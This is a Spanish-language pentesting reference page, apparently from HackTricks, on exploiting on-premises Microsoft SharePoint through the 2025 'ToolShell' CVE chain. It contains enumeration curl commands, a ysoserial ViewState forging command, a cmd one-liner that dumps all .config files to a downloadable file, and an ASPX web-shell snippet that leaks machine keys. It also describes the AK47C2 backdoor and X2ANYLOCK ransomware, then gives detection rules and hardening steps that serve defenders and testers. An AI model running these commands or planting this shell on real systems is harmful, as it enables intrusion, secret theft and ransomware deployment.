179 lines
9.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Microsoft SharePoint Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint (local) está construido sobre ASP.NET/IIS. La mayoría de la superficie de ataque web clásica (ViewState, Web.Config, shells web, etc.) está presente, pero SharePoint también incluye cientos de páginas ASPX y servicios web propietarios que amplían drásticamente la superficie de ataque expuesta. Esta página recopila trucos prácticos para enumerar, explotar y persistir dentro de entornos de SharePoint con énfasis en la cadena de explotación 2025 divulgada por Unit42 (CVE-2025-49704/49706/53770/53771).
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. 2025 cadena de explotación (a.k.a. “ToolShell”)
### 2.1 CVE-2025-49704 Inyección de Código en ToolPane.aspx
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` permite que se inyecte código arbitrario de *Server-Side Include* en la página, que luego es compilado por ASP.NET. Un atacante puede incrustar C# que ejecuta `Process.Start()` y dejar caer un ViewState malicioso.
### 2.2 CVE-2025-49706 Bypass de Autenticación Inadecuado
La misma página confía en el encabezado **X-Forms_BaseUrl** para determinar el contexto del sitio. Al apuntarlo a `/_layouts/15/`, se puede eludir la MFA/SSO impuesta en el sitio raíz **sin autenticar**.
### 2.3 CVE-2025-53770 Deserialización de ViewState No Autenticada → RCE
Una vez que el atacante controla un gadget en `ToolPane.aspx`, puede publicar un valor `__VIEWSTATE` **no firmado** (o solo con MAC) que activa la deserialización de .NET dentro de *w3wp.exe*, lo que lleva a la ejecución de código.
Si la firma está habilitada, roba la **ValidationKey/DecryptionKey** de cualquier `web.config` (ver 2.4) y forja la carga útil con *ysoserial.net* o *ysodom*:
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
Para una explicación detallada sobre el abuso de ASP.NET ViewState, lee:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 Traversal de ruta / Divulgación de web.config
Enviar un parámetro `Source` manipulado a `ToolPane.aspx` (por ejemplo, `../../../../web.config`) devuelve el archivo objetivo, permitiendo la filtración de:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ forjar ViewState / cookies ASPXAUTH
* cadenas de conexión y secretos.
## 3. Recetas de post-explotación observadas en la naturaleza
### 3.1 Exfiltrar cada archivo *.config* (variación-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
El `debug_dev.js` resultante se puede descargar de forma anónima y contiene **toda** la configuración sensible.
### 3.2 Desplegar un shell web ASPX codificado en Base64 (variación-2)
```
powershell.exe -EncodedCommand <base64>
```
Ejemplo de carga útil decodificada (abreviado):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
Escrito para:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
La shell expone puntos finales para **leer / rotar claves de máquina** que permiten forjar cookies ViewState y ASPXAUTH a través de la granja.
### 3.3 Variante ofuscada (variación-3)
La misma shell pero:
* colocada en `...\15\TEMPLATE\LAYOUTS\`
* nombres de variables reducidos a letras individuales
* `Thread.Sleep(<ms>)` añadido para evasión de sandbox y bypass de AV basado en tiempo.
### 3.4 AK47C2 puerta trasera multiprotocolo y ransomware X2ANYLOCK (observado 2025-2026)
Investigaciones recientes de respuesta a incidentes (Unit42 “Proyecto AK47”) muestran cómo los atacantes aprovechan la cadena ToolShell **después de RCE inicial** para desplegar un implante C2 de doble canal y ransomware en entornos de SharePoint:
#### AK47C2 variante `dnsclient`
* Servidor DNS codificado: `10.7.66.10` comunicándose con el dominio autoritativo `update.updatemicfosoft.com`.
* Los mensajes son objetos JSON encriptados con XOR con la clave estática `VHBD@H`, codificados en hex y embebidos como **etiquetas de subdominio**.
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
```
* Consultas largas son fragmentadas y prefijadas con `s`, luego reensambladas del lado del servidor.
* El servidor responde en registros TXT que llevan el mismo esquema XOR/hex:
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
```
* La versión 202504 introdujo un formato simplificado `<COMMAND>::<SESSION_KEY>` y marcadores de fragmento `1`, `2`, `a`.
#### AK47C2 variante `httpclient`
* Reutiliza la misma rutina JSON & XOR pero envía el blob hex en el **cuerpo HTTP POST** a través de `libcurl` (`CURLOPT_POSTFIELDS`, etc.).
* El mismo flujo de trabajo de tarea/resultado permite:
* Ejecución arbitraria de comandos de shell.
* Intervalo de sueño dinámico e instrucciones de kill-switch.
#### Ransomware X2ANYLOCK
* Carga útil de C++ de 64 bits cargada a través de side-loading de DLL (ver abajo).
* Emplea AES-CBC para datos de archivos + RSA-2048 para envolver la clave AES, luego añade la extensión `.x2anylock`.
* Encripta recursivamente unidades locales y recursos compartidos SMB descubiertos; omite rutas del sistema.
* Deja una nota en texto claro `How to decrypt my data.txt` embebiendo un **Tox ID** estático para negociaciones.
* Contiene un **kill-switch** interno:
```c
if (file_mod_time >= "2026-06-06") exit(0);
```
#### Cadena de side-loading de DLL
1. El atacante escribe `dllhijacked.dll`/`My7zdllhijacked.dll` junto a un legítimo `7z.exe`.
2. `w3wp.exe` generado por SharePoint lanza `7z.exe`, que carga la DLL maliciosa debido al orden de búsqueda de Windows, invocando el punto de entrada del ransomware en memoria.
3. Se observó un cargador LockBit separado (`bbb.msi``clink_x86.exe``clink_dll_x86.dll`) que desencripta el shell-code y realiza **DLL hollowing** en `d3dl1.dll` para ejecutar LockBit 3.0.
> [!INFO]
> El mismo Tox ID estático encontrado en X2ANYLOCK aparece en bases de datos filtradas de LockBit, sugiriendo superposición de afiliados.
---
## 4. Ideas de detección
| Telemetría | Por qué es sospechoso |
|-----------|----------------------|
| `w3wp.exe → cmd.exe` | El proceso de trabajo rara vez debería generar shell |
| `cmd.exe → powershell.exe -EncodedCommand` | Patrón clásico de lolbin |
| Eventos de archivo creando `debug_dev.js` o `spinstall0.aspx` | IOCs directamente de ToolShell |
| `ProcessCmdLine CONTIENE ToolPane.aspx` (registros ETW/Módulo) | PoCs públicas invocan esta página |
Ejemplo de regla XDR / Sysmon (pseudo-XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. Endurecimiento y Mitigación
1. **Parchar** Las actualizaciones de seguridad de julio de 2025 corrigen *todas* las cuatro CVEs.
2. **Rotar** cada `<machineKey>` y secretos de `ViewState` después de un compromiso.
3. Eliminar el permiso de escritura de *LAYOUTS* de los grupos `WSS_WPG` y `WSS_ADMIN_WPG`.
4. Bloquear el acceso externo a `/_layouts/15/ToolPane.aspx` a nivel de proxy/WAF.
5. Habilitar **ViewStateUserKey**, **MAC habilitado**, y *EventValidation* personalizado.
## Trucos relacionados
* IIS post-explotación y abuso de web.config:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## Referencias
- [Unit42 Explotación activa de vulnerabilidades de Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC Cadena de explotación ToolShell](https://github.com/real-or-not/ToolShell)
- [Microsoft Security Advisory CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Unit42 Proyecto AK47 / Explotación de SharePoint y actividad de ransomware](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
- [Microsoft Security Advisory CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}